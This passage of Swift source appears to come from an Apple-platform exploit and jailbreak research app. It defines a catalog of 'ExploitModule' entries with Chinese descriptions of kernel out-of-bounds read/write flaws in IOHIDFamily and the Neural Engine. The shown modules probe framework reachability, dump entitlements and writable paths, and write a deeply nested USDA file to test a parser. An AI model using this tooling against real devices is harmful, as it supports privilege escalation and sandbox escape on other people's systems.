let url = ctx.write("deep_nest.usda", usda)
ctx.arm("mdl.usda", "MDLAsset")
let detail = try Runners.loadUSDA(at: url)
ctx.disarm("mdl.usda", detail)
return ModuleOutcome(headline: tl("资产载入存活"), detail: detail,
evidence: ["USDA \(usda.count) B", tl("2000 层嵌套")],
artifacts: [url])
}),
]
// MARK: - Probes
static let probes: [ExploitModule] = [
ExploitModule(
id: "probe.hid",
titleZh: "IOHIDFamily 预解析数据表索引",
cve: "CVE-2026-112515",
component: tl("IOHIDFamily · caps 表查找"),
primitive: .oobRead,
reach: .peripheral,
tier: 2,
summaryZh: "记录中的有符号 int32 索引被直接以 ×0x14 加至 caps 表基址,仅存在 32 位乘法溢出陷阱,缺少索引与计数的比较。负索引读到表下方,超界索引读到相邻内核堆;读出的 u32 进入元素/事件数据,构成内核内存泄露。27.2 补入 cmp idx,count、NULL 守卫与 64 位索引运算。",
notesZh: "入口是内核侧序列化的 \"hid \" 预解析容器。应用侧能不能把这样的数据推进去,本身就是这一步要回答的问题。",
run: { ctx in
ctx.arm("probe.hid", "probe")
let iokit = Runners.dlopenProbe(
"/System/Library/Frameworks/IOKit.framework/IOKit",
symbols: ["IOHIDManagerCreate", "IOHIDDeviceGetProperty", "IOHIDEventCreateCopy",
"IOHIDEventSystemClientCreate", "IOHIDEventCreateData"])
let gc = Runners.dlopenProbe(
"/System/Library/Frameworks/GameController.framework/GameController",
symbols: ["GCController", "GCHIDEventSource", "GCExtendedGamepad"])
ctx.disarm("probe.hid", "probe complete")
return ModuleOutcome(headline: tl("HID 路径可达性"), detail: iokit + "\n" + gc)
}),
ExploitModule(
id: "probe.ane",
titleZh: "ANE 内核接口可达性",
cve: "CVE-2026-112696 / 84494",
component: "AppleH16ANEInterface",
primitive: .oobWrite,
reach: .kernel,
tier: 2,
summaryZh: "未检查的 program symbolIndex 直接用于索引内核表且存在回写 —— 与公告所称「写内核内存」的形状一致。本模块仅探测应用能否触及 ANE 的用户态入口。",
notesZh: "10.19.6 → 10.102.4,是整个 kext 差异里改动最大的一组之一。",
run: { ctx in
ctx.arm("probe.ane", "probe")
let r1 = Runners.dlopenProbe(
"/System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine",
symbols: ["_ANEClient", "_ANEProgram", "_ANEModel", "_ANERequest"])
let r2 = Runners.dlopenProbe(
"/System/Library/PrivateFrameworks/CoreML.framework/CoreML",
symbols: ["MLModel", "MLComputePlan"])
ctx.disarm("probe.ane", "probe complete")
return ModuleOutcome(headline: tl("ANE 用户态入口探测"), detail: r1 + "\n" + r2)
}),
ExploitModule(
id: "probe.privset",
titleZh: "本进程权限面",
cve: "—",
component: tl("沙盒 / 签名 / entitlements"),
primitive: .probe,
reach: .inProcess,
tier: 3,
summaryZh: "这一套漏洞链的最终权限上限,取决于进程自己已经拿到了什么。csops 标志、entitlements、以及沙盒允许的路径集合,三者一起定义了越狱工具能做到的最远处。",
notesZh: "路径矩阵里凡是「可写」的目录,就是改机工具真正的活动范围。",
run: { ctx in
ctx.arm("probe.privset", "collect")
var lines: [String] = []
let cs = CodeSign.current()
lines.append("csflags = 0x" + String(cs.flags, radix: 16) + " [\(cs.descriptions.joined(separator: " "))]")
let ents = Entitlements.dump()
if ents.isEmpty {
lines.append(tl("entitlements: 无法读取(SecTask 不可用或为空)"))
} else {
for key in ents.keys.sorted() {
let value = "\(ents[key]!)"
lines.append(" \(key) = \(value.prefix(120))")
}
}
let writable = Probe.interestingRoots.map { Probe.path($0) }.filter { $0.writable }
lines.append(tl("可写根目录: ") + "\(writable.isEmpty ? tl("无") : writable.map { $0.path }.joined(separator: ", "))")
ctx.disarm("probe.privset", "collected")
return ModuleOutcome(headline: tl("权限面已采集"), detail: lines.joined(separator: "\n"))
}),
]
}
extension Catalog {
static var groups: [(String, [ExploitModule])] {
[
("CoreGraphics", coreGraphics),
(tl("ImageIO · 图像解析"), imageIO),
(tl("ImageIO · 纹理与编码"), imageIO2),
("libarchive", archive + archive2),
("CoreMedia", coreMedia),
(tl("跨沙盒"), crossSandbox),
(tl("XNU 内核"), kernel),
(tl("音频栈"), audio + audio2),
(tl("视频编解码"), video),
(tl("字体 / Model I/O"), fonts + font2),
("kext / IOKit", kext),
(tl("应用与系统进程"), userspace),
(tl("工具链自检"), tooling),
(tl("可达性探测"), probes),
]
}
static var byID: [String: ExploitModule] {
Dictionary(uniqueKeysWithValues: all.map { ($0.id, $0) })
}
}